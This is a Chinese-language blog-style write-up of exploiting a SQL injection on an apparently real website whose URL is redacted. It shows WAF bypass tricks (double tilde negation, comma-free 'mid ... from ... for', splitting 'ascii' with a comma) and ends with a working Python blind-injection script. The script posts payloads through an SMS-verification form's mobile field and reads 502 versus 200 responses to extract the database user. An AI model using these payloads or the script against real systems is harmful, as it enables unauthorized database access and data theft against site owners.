首先拿到了一处注入点

手工测试一下

这就被拦了吗…

测了几下

Select被拦

逗号被过滤

显错不是很顺手,开始盲注

首先是or 1=1

~~两次取反可以绕过

尝试length获取datatbase长度

这。。。database变成databa<x>se了
而且<>也被实体编码了,所以盲注只能用=
这时候想到过滤的逗号,能不能利用waf绕过waf呢


没用,好吧,试试别的函数

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统 Windows Server 2003

current_user长度为13

出数据的话left要用逗号

Substring可以不使用逗号(mid 也可以,当时只查到了substring)


substr被拦

这个时候尝试了好久,突然想到databse()是变而不是拦,那逗号会不会可以用呢

本以为可以愉快地出数据了结果=’a’又被拦了,貌似=后面不能接字符,ascii伺候


Ascii也被拦了没关系,吃我逗号!


看到502吓我一跳,后来发现真的时候是502,假的时候200

Fuzz脚本

import requests
url='https://xxxxxxxxxxxxxxxxxxxxxxxxxxx'

for i in range(1,14):
    for j in range(1,127):
        payload="1 or~~asc,ii(mid(current_user from %s for 1))=%s#"%(i,j)
        data={'captcha':'1',
                'getSmsVerfy':'111111',
                'mobile':payload}
        g=requests.post(url,data=data)
        if g.status_code==502:
            print j